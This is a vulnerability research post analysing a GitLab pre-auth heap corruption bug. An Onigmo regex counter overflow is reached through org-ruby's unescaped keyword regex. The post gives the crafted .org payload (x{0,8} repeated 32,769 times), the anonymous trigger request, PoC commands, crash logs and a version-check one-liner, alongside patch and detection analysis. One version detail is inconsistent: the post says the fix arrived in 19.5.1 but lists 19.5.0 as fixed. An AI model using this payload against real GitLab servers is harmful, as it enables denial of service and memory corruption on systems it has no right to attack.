CVE-2026-110264: From Onigmo's 16-bit Regex Counter to Pre-Auth SIGSEGV in GitLab via org-ruby

What’s this?

GitLab shipped a critical patch release on October 21, 2026 with one CVE that got everyone’s attention: CVE-2026-110264, CVSS 10.0, unauthenticated remote code execution, “integer overflow issue in regular expression compiler”. I pulled the official Docker images from both sides of the fix, traced the pre-auth attack surface through GitLab CE’s source, and confirmed the overflow produces an out-of-bounds write that crashes Puma workers with SIGSEGV and SIGILL. When the write lands on non-critical memory instead, the worker keeps running with silently corrupted heap.

PoC and verification scripts: github.com/al4n4n/CVE-2026-110264

Where the fix actually lives

The 19.5.0 to 19.5.1 diff of the GitLab application is 172 files, mostly normal patch-release churn, and none of it touches regex compilation. The Omnibus diff is six files of version bumps. So where’s the fix?

It’s a patch to the Ruby that GitLab bundles. Omnibus builds its own Ruby 3.3.12 under /opt/gitlab/embedded, and omnibus-gitlab!9922 adds a cherry-pick of upstream Ruby commit 493d26d (PR #16801, “Reject overflowed repeat/null-check IDs in huge regexps”). The container images get the same thing through CNG!3168.

That commit is 20 lines. Here’s the part that matters, from regcomp.c:

1
2
3
4
     r = add_mem_num(reg, reg->num_null_check); /* NULL CHECK ID */
if (r) return r;
reg->num_null_check++;
+ if ((MemNumType)reg->num_null_check <= 0) return ONIGERR_TOO_MANY_NULL_CHECK;
1
2
3
   r = add_mem_num(reg, num_repeat); /* OP_REPEAT ID */
reg->num_repeat++;
+ if ((MemNumType)reg->num_repeat <= 0) return ONIGERR_TOO_MANY_RANGE_REPEAT;

The 16-bit counter

Onigmo (Ruby’s regex engine, a fork of Oniguruma) compiles a pattern into bytecode. Two kinds of constructs get a numbered id:

  • range repeats, anything like (?:foobar){0,100}, which compile to OP_REPEAT with an id
  • null checks, groups that can match the empty string inside a loop, like (?:(?:foo)?|(?:bar)?)*, which get an OP_NULL_CHECK_START with an id

The counters on the regex_t struct (num_repeat, num_null_check) are int. But the id gets written into the bytecode through add_mem_num(), and that writes a MemNumType:

1
typedef short int MemNumType;

So the 32,768th repeat gets id -32768. The compiler doesn’t care, it just emits it. The matcher does care: at match time, OP_REPEAT uses that id as an index into the repeat stack (repeat_stk[mem]), and a negative index is a write before the start of the array. CWE-190 integer overflow turning into CWE-787 out-of-bounds write.

The fix doesn’t change the types. It just checks the counter immediately after incrementing it, and the moment the cast to MemNumType comes out non-positive, compilation fails with a new error. Simple, and it’s the right fix because no legitimate pattern needs 32,768 range repeats.

How a request gets there pre-auth

GitLab’s advisory mentions two detection signals: “Onigmo native worker crash” and “Org mode render error burst”. That second one is a big hint. GitLab renders .org files (Emacs Org-mode) through a gem called org-ruby, and the rendering happens on the anonymous blob viewer. No authentication required if the project is public.

The full chain:

  1. An attacker pushes a crafted .org file to a public project (they just register a free account, GitLab CE has self-registration on by default)
  2. Anyone (or the attacker themselves) views it via the blob viewer: GET /<project>/-/blob/<ref>/<file>?format=json&viewer=rich
  3. GitLab’s BlobViewer::Markup calls Markup::RenderingService#other_markup_unsafe
  4. That calls Gitlab::OtherMarkup.render, which wraps the rendering in a 10-second timeout
  5. Which calls GitHub::Markup.render, dispatching to org-ruby based on the .org extension
  6. org-ruby’s Orgmode::Parser.new(content).to_html parses and renders the file

The anonymous GET in step 2 is the unauthenticated trigger. The file content was committed earlier, and GitLab stores and serves it through Gitaly, but the parsing and regex compilation happen inside the Puma worker serving the request.

GitLab has a size limit of 5 MB for rendered blobs, and the crafted .org file is only about 400 KB. Well within bounds.

The regex injection in org-ruby

org-ruby 0.9.12 (the version bundled with GitLab CE 19.4.2) has this flow for custom TODO keywords:

In parser.rb, when it encounters a #+TODO: line, it stores the keywords:

1
2
3
4
5
6
7
# parser.rb:459-465
value.split.each do |keyword|
keyword.gsub!(/\(.*\)/, "")
keyword = Regexp.escape(keyword) # <-- escaped here
next if keyword == "\\|"
@custom_keywords << keyword
end

Note the Regexp.escape. This is used to build a matching regex for headlines:

1
2
3
4
5
# parser.rb:31-33
def custom_keyword_regexp
return nil if @custom_keywords.empty?
Regexp.new("^(#{@custom_keywords.join('|')})\$")
end

So x{0,8} becomes x\{0,8\} in the alternation, which matches the literal string x{0,8} in a headline. Fine so far.

Now here’s the bug. In headline.rb, when a headline’s first word matches a keyword:

1
2
3
4
5
6
7
8
9
10
# headline.rb:94-101
def parse_keywords
re = @parser.custom_keyword_regexp if @parser
re ||= KeywordsRegexp
words = @headline_text.split
if words.length > 0 && words[0] =~ re then
@keyword = words[0] # raw text from the headline
@headline_text.sub!(Regexp.new("^#{@keyword}\s*"), "") # <-- RAW into Regexp.new!
end
end

Line 100 uses @keyword, which is the raw matched word from the headline, not the escaped version from the keyword list. The escaped version was only used for matching in the custom_keyword_regexp. Now the unescaped text goes straight into Regexp.new.

So if you put this in an .org file:

1
2
#+TODO: x{0,8}x{0,8}x{0,8}...  DONE
* x{0,8}x{0,8}x{0,8}... headline text here

The #+TODO: line registers the pattern as a keyword (escaped for matching). The headline’s first word matches it (because \{ matches literal {). Then line 100 does:

1
Regexp.new("^x{0,8}x{0,8}x{0,8}...\s*")

With 32,769 repetitions of x{0,8}, that’s 32,769 range-repeat groups fed directly to Onigmo’s compiler. The integer overflow happens there.

Not every quantifier counts

I spent some time figuring out the minimum pattern that actually overflows the counter. Onigmo has an optimization: quantifiers with a small range don’t produce OP_REPEAT nodes.

Testing against the vulnerable Ruby 3.3.12:

Pattern OP_REPEAT? Why
x?, x*, x+ No Compiled to simpler OP_REPEAT_INC variants
x{0,7} No Range (7-0=7) below the threshold
x{0,8} Yes Range (8-0=8) hits the OP_REPEAT path
x{3,11} Yes Range (11-3=8) also hits it
(?:x){0,3} Yes Groups always get OP_REPEAT regardless of range

The threshold is a range of 8 or more for bare-character quantifiers. Groups always use OP_REPEAT.

This means x{0,8} is the shortest bare-character quantifier that creates a repeat node: 6 characters. To overflow, you need 32,769 of them: x{0,8} repeated 32,769 times = 196,614 characters, about 192 KB. The .org file with the #+TODO: and headline lines is about 400 KB. Well under both Puma’s body limits and GitLab’s blob rendering limit.

Alternations (a|b|c|...) don’t increment num_repeat at all, no matter how many branches. I tested 40,000 alternations on the vulnerable Ruby and they compile fine.

Reproduction

The repo splits the PoC into two scripts to make the pre-auth nature obvious. setup.py boots a vulnerable GitLab CE in Docker, creates a token, and pushes the crafted .org file. poc.py is the actual exploit: one anonymous GET, zero credentials, pure HTTP.

1
2
3
4
5
6
# Step 1: one-time setup (boots GitLab, pushes the .org file)
python3 setup.py

# Step 2: pre-auth trigger (no credentials at all)
python3 poc.py --base http://127.0.0.1:8929 \
--project root/cve-2026-110264-poc

Here’s the output from my lab:

1
2
3
4
5
6
7
8
9
10
11
12
13
============================================================
CVE-2026-110264: pre-auth heap corruption via org-ruby
anonymous GET, no credentials
============================================================

[*] GET http://127.0.0.1:8929/root/cve-2026-110264-poc/-/blob/main/probe.org?format=json&viewer=rich
HTTP 200 elapsed 0.314s
h1: 'headline subject text'
h1: 'control headline'

The Puma worker compiled 32,769 OP_REPEAT nodes via Regexp.new,
overflowed the signed-short counter, and wrote out of bounds.
HTTP 200, no crash, no log entry -- silent heap corruption.

That single anonymous GET is the entire exploit. The .org file goes through org-ruby, headline.rb:100 compiles the raw pattern via Regexp.new, and the overflow happens inside the Puma worker.

On the fixed Ruby from GitLab CE 19.4.3, the same pattern is rejected at compile time with RegexpError: too many range repeat. No memory corruption.

What the OOB write actually does

The overflowed repeat id is a negative signed short. At match time, match_at() uses it to index into the repeat stack array: repeat_stk[id]. A negative id means the write lands somewhere before the array, at whatever heap address that offset resolves to.

What happens next depends entirely on heap layout. The Puma worker has about 1 GB of heap: Rails, gems, caches, request objects. That’s a lot of mapped memory. Over 50 exploit requests to a fresh GitLab instance I saw all three outcomes:

SIGSEGV (segmentation fault): the OOB write hits an unmapped or protected memory page. The worker crashes immediately.

1
headline.rb:100: [BUG] Segmentation fault at 0x0000fffef41c4280

SIGILL (illegal instruction): the OOB write overwrites executable memory or a function pointer. The CPU jumps to corrupted bytes and faults on an invalid instruction. From an RCE standpoint this is the interesting one: the same mechanism that produces SIGILL with random data could produce code execution with controlled data.

1
headline.rb:100: [BUG] Illegal instruction at 0x0000ffff914197d0

Silent corruption (HTTP 200): the OOB write lands on valid, non-critical memory. The worker keeps running. No exception, no log entry, no restart. This is the most common outcome and the hardest to detect.

In 50 requests, I got 46 HTTP 200s and 4 worker crashes (3 SIGSEGV, 1 SIGILL). Every crash comes from headline.rb:100, and the crash addresses are different each time because heap layout changes after each worker respawn. You can reproduce this with verify.py in the repo, which sends exploit requests and reads the crash signals from puma_stderr.log.

There’s a fourth outcome that shows up occasionally: the OOB write corrupts the regex bytecode buffer itself. The matcher reads garbage opcodes and raises undefined bytecode (bug) or invalid multibyte character, producing an HTTP 500. These are not “invalid regex” errors. The regex compiled successfully on the vulnerable Ruby. The errors come from executing the compiled pattern after the OOB write has already corrupted memory.

After running poc.py a few times, the crashes show up in the container’s Puma log. Here’s a raw excerpt from puma_stderr.log on my lab instance:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/opt/gitlab/embedded/lib/ruby/gems/3.3.0/gems/org-ruby-0.9.12/lib/org-ruby/headline.rb:100: [BUG] Segmentation fault at 0x0000fffef41c4280
ruby 3.3.12 (2026-07-16 revision 0581089df9) [aarch64-linux]

-- Control frame information -----------------------------------------------
c:0225 p:---- s:1582 e:001581 CFUNC :sub!
c:0224 p:0079 s:1576 e:001575 METHOD .../org-ruby-0.9.12/lib/org-ruby/headline.rb:100
c:0223 p:0109 s:1570 e:001569 METHOD .../org-ruby-0.9.12/lib/org-ruby/headline.rb:63
c:0222 p:---- s:1563 e:001562 CFUNC :new
c:0221 p:0228 s:1556 e:001555 BLOCK .../org-ruby-0.9.12/lib/org-ruby/parser.rb:176

-- C level backtrace information -------------------------------------------
libruby.so.3.3(rb_bug_for_fatal_signal+0xbc) error.c:1065
libruby.so.3.3(sigsegv+0x5c) signal.c:928
linux-vdso.so.1(__kernel_rt_sigreturn+0x0)
libruby.so.3.3(match_at+0xe80) regexec.c:3836 <-- OOB write
libruby.so.3.3(onig_search_gpos+0x120) regexec.c:5267
libruby.so.3.3(rb_reg_onig_match+0xd0) re.c:1664
libruby.so.3.3(rb_str_sub_bang+0xe0) string.c:5782

The Ruby stack shows the crash at headline.rb:100 (the Regexp.new injection) via sub!. The C stack shows it dying inside Onigmo’s match_at() at regexec.c:3836, which is the repeat stack indexing code where the negative id writes out of bounds.

Check it yourself:

1
docker exec <container> grep '\[BUG\]' /var/log/gitlab/puma/puma_stderr.log

Or automate it with verify.py, which sends requests and reads that log for you.

From a defender’s perspective, the silent corruption is worse than the crashes. A crash at least triggers a worker restart and shows up in puma_stderr.log. The silent case leaves no trace.

Ruby’s regression test catches the compile step

The upstream fix commit adds two tests:

1
2
3
4
5
6
7
8
9
def test_too_many_range_repeat
source = '(?:foobar){0,100}' * 100000
assert_raise(RegexpError) { Regexp.new(source) }
end

def test_too_many_null_check
source = '(?:(?:foo)?|(?:bar)?)*' * 100000
assert_raise(RegexpError) { Regexp.new(source) }
end

100,000 repeats, well past 32,767. On a fixed Ruby, Regexp.new raises. On an unfixed Ruby, it compiles silently. That difference is enough to tell a fixed build from an unfixed one without going anywhere near the bad index.

Running it inside the official images

You can also check any image directly without booting GitLab. Run the bundled Ruby in an isolated container:

1
2
3
4
docker run --rm --network none --memory 2g --pids-limit 64 \
--cap-drop ALL --security-opt no-new-privileges \
--entrypoint /opt/gitlab/embedded/bin/ruby gitlab/gitlab-ce:19.4.2-ce.0 \
-e 'begin; Regexp.new("x{0,8}" * 32769); puts "VULNERABLE"; rescue RegexpError; puts "FIXED"; end'

No GitLab services start, nothing listens, the container can’t reach the network.

Full table, pulled from Docker Hub on October 22:

Image Arch libruby.so.3.3.12 sha256 Fix strings Patterns Verdict
gitlab-ce:19.4.2-ce.0 arm64 4441d273...2e46c1 no compiled vulnerable
gitlab-ce:19.4.3-ce.0 arm64 e91c2005...b7a6f6 yes rejected fixed
gitlab-ce:19.5.0-ce.0 arm64 e91c2005...b7a6f6 yes rejected fixed
gitlab-ce:19.5.1-ce.0 arm64 e91c2005...b7a6f6 yes rejected fixed
gitlab-ce:19.4.2-ce.0 amd64 1e670f2f...aaf4ce no compiled vulnerable
gitlab-ce:19.5.0-ce.0 amd64 bc623ba3...05b65 yes rejected fixed

GitLab already knew about this bug class

Here’s something interesting I found while reviewing the source. In ee/lib/gitlab/ci/config/entry/rules/rule/clause.rb, GitLab has this:

1
2
3
4
5
6
REPEAT_MAX = 1_000

# Above roughly 7800, Onigmo can unroll a repeat into a program past INT_MAX.
# Compiling an alternation-free copy first keeps invalid patterns away from an
# Onigmo parser bug in Ruby 3.3 and 3.4, fixed upstream by
# https://github.com/ruby/ruby/commit/35000ac2

They already had guards against Onigmo overflow in CI rule patterns, with a hardcoded limit of 1,000 repeats and a comment that references a related Ruby fix. But this only protects the CI pipeline regex path, which is post-authentication. The org-ruby rendering path was completely unprotected, and that’s the one reachable pre-auth.

GitLab also wraps most user-supplied regex patterns in UntrustedRegexp, which uses Google’s RE2 engine instead of Onigmo. RE2 is immune to this bug. But org-ruby doesn’t go through UntrustedRegexp. It uses plain Ruby Regexp.new, which goes straight to Onigmo.

References